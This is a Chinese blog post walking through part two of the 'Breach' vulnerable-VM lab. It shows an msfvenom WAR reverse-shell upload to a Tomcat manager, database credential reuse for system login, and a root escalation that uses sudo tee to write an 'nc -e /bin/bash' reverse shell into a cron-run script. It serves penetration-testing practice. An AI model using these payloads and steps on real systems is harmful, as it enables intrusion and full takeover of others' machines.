breach2

breach靶场渗透2

上文:http://1.12.250.218:1080/2022/11/07/breach靶机渗透/

wireshark抓包分析

上文得到这个数据包

image-20221113173111172

得到信息

image-20221113173150460

打不开是不安全的连接,游览器不与连接

使用bp代理连接

image-20221106210418872

设置代理:

image-20221113173312928

这个是我的bp代理接口

打开网页

image-20221113173741695

使用解密的信息登录

image-20221113173812362

打开了一个tomcat中间件的管理后台

tomcat管理页面提权

下面有文件上传的地方,我们使用msf生产java的反弹链接shell

┌──(root㉿kali)-[~/payload]
└─# msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war -o kali.war

由于这里的靶机使用的是单独的仅主机连接,所以我们新开一个kali使用仅主机连接,监听端口4444

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.110.128
LHOST => 192.168.110.128
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit 

[-] Handler failed to bind to 192.168.110.128:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444 

上传并访问这个文件来反弹shell


meterpreter > sysinfo
Computer        : Breach
OS              : Linux 4.2.0-27-generic (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > getuid
Server username: tomcat6
meterpreter > shell
Process 1 created.
Channel 1 created.
whoami
tomcat6

这里还有很多命令不能使用

假如主机装有python我们拿到shell可以使用命令来拿到像shell一样的输入回显

python -c 'import pty;pty. spawn("/bin/bash")' 
tomcat6@Breach:/var/lib/tomcat6$ ls
ls
common  conf  logs  server  shared  webapps  work
tomcat6@Breach:/$ uname -a 
uname -a
Linux Breach 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

提权

  • 内核漏洞搜索
  • 敏感文件查询
    • /etc/passwd
    • cd ~
    • find / -name
    • 这个是Apache的网站 ---- /var/www/html
  • sudo -l 查看当前用户可以使用的root命令 *****
  • 历史命令分析-history

使用msf自带的漏洞数据库来查看是否可以利用

msf6 > searchsploit 14.04 Ubuntu

image-20221119140753631

查找发现并没有可以利用

查看passwd文件

image-20221119141754181

查看Apache网页文件根目录

tomcat6@Breach:/var/www/html$ ls
ls
breach.html  impresscms  index.html.save  style.css
images       index.html  initech.html

我在html的同级目录存在一个5446,这种非常规文件可能存在敏感信息

image-20221119142412867

果然存在php这种文件,可能是配置文件

image-20221119142529551

看到是数据库的配置文件 可以知道: 主机 localhost ,用户root,密码为空,数据库名字 impresscms

image-20221119142657556

查看数据库

image-20221119143617038

使用mysql,这个库中记载着数据库的用户名还有密码

image-20221119143654881

image-20221119143728302

6450d89bd3aff1d893b85d3ad65d2ec2    thelaststraw

我们得到mysql用户:milton 密码: thelaststraw

是mysql的用户,那有没有可能是这个系统的用户呢

image-20221119144053627

结果是的

image-20221119144458292

历史命令

image-20221119144730157

只是发现这个用户切换到root,blumbergh用户

我们前面还有发现图片图片中也可能存在敏感信息

图片信息

image-20221119145156469

访问:http://192.168.110.140/images/

image-20221119145222908

使用kali下载下来

image-20221119145759913

使用stings查看

image-20221119145836409

只发现bill.png里面存在coffeestains

我们也可以使用组合命令来查看信息

exiftool * | grep -i -e 'File Name' -e 'Commment'

image-20221119153020701

前面看到的history来看,登陆过 blumbergh(老板的账号),root

我们来切换到blumbergh用户

image-20221119154809098

查看拥有哪些root的权限

image-20221119155931223

tee作用

image-20221119160026850

我们写入nc脚本来链接我们的kali攻击机

新建文件写入脚本

blumbergh@Breach:~$ echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt
echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt

把shell.txt写入tidyup.sh等待执行,并监听

blumbergh@Breach:~$ cat shell.txt
cat shell.txt
nc -e /bin/bash 192.168.110.128 5555
blumbergh@Breach:~$ cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
nc -e /bin/bash 192.168.110.128 5555
blumbergh@Breach:~$ cat /usr/share/cleanup/tidyup.sh
cat /usr/share/cleanup/tidyup.sh
nc -e /bin/bash 192.168.110.128 5555
┌──(root㉿kali)-[~/crabin]
└─# nc -lvvp 5555

等到触发

image-20221119160709486

拿到root权限

image-20221119161201991

image-20221119161309940

posted @ 2023-02-04 20:15  crabin88  阅读(1)  评论(0)    收藏  举报